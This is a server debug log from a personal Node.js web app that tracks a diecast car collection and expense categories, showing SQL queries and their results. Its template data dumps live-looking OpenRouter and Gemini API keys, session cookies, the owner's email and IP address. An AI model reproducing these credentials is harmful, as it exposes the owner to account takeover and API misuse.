    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:48:36.896Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:48:39.901Z server-connect:router Serving templateView /diecast
2026-02-04T10:48:39.901Z server-connect:app Executing action step identify
2026-02-04T10:48:39.901Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:39.901Z server-connect:output identity: 1
2026-02-04T10:48:39.901Z server-connect:app Executing action step restrict
2026-02-04T10:48:39.901Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:48:39.901Z server-connect:output restrict: undefined
2026-02-04T10:48:39.901Z server-connect:router Render template layouts/main
2026-02-04T10:48:39.902Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '171',
    manufacturer: '',
    condition: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=171&manufacturer=&condition=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T10:48:40.808Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T10:48:40.809Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T10:48:40.809Z server-connect:app Executing action step identify
2026-02-04T10:48:40.809Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:40.810Z server-connect:output identity: 1
2026-02-04T10:48:40.810Z server-connect:app Executing action step restrict
2026-02-04T10:48:40.810Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:40.810Z server-connect:app Executing action step identify
2026-02-04T10:48:40.810Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:40.810Z server-connect:output identity: 1
2026-02-04T10:48:40.810Z server-connect:app Executing action step restrict
2026-02-04T10:48:40.810Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:40.810Z server-connect:output restrict: undefined
2026-02-04T10:48:40.811Z server-connect:app Executing action step select
2026-02-04T10:48:40.811Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T10:48:40.811Z server-connect:output restrict: undefined
2026-02-04T10:48:40.811Z server-connect:app Executing action step single
2026-02-04T10:48:40.811Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T10:48:40.812Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T10:48:40.814Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T10:48:40.816Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:48:40.816Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:48:40.817Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:48:40.817Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T10:48:40.817Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:48:40.817Z server-connect:app Executing action step identify
2026-02-04T10:48:40.817Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:40.817Z server-connect:output identity: 1
2026-02-04T10:48:40.817Z server-connect:app Executing action step restrict
2026-02-04T10:48:40.818Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:40.818Z server-connect:app Executing action step identify
2026-02-04T10:48:40.818Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:40.818Z server-connect:output identity: 1
2026-02-04T10:48:40.818Z server-connect:app Executing action step restrict
2026-02-04T10:48:40.818Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:40.818Z server-connect:app Executing action step identify
2026-02-04T10:48:40.818Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:40.818Z server-connect:output identity: 1
2026-02-04T10:48:40.818Z server-connect:app Executing action step restrict
2026-02-04T10:48:40.818Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:40.818Z server-connect:output restrict: undefined
2026-02-04T10:48:40.818Z server-connect:app Executing action step select
2026-02-04T10:48:40.818Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:48:40.819Z server-connect:app Executing action step identify
2026-02-04T10:48:40.819Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:40.819Z server-connect:output identity: 1
2026-02-04T10:48:40.819Z server-connect:app Executing action step restrict
2026-02-04T10:48:40.819Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:40.819Z server-connect:output restrict: undefined
2026-02-04T10:48:40.819Z server-connect:app Executing action step select
2026-02-04T10:48:40.819Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:48:40.820Z server-connect:output restrict: undefined
2026-02-04T10:48:40.820Z server-connect:app Executing action step paged
2026-02-04T10:48:40.820Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:48:40.820Z server-connect:app Executing action step identify
2026-02-04T10:48:40.820Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:40.820Z server-connect:output identity: 1
2026-02-04T10:48:40.820Z server-connect:app Executing action step restrict
2026-02-04T10:48:40.820Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:40.820Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T10:48:40.821Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T10:48:40.821Z server-connect:output restrict: undefined
2026-02-04T10:48:40.821Z server-connect:app Executing action step select
2026-02-04T10:48:40.821Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:48:40.822Z server-connect:output restrict: undefined
2026-02-04T10:48:40.822Z server-connect:app Executing action step select
2026-02-04T10:48:40.822Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
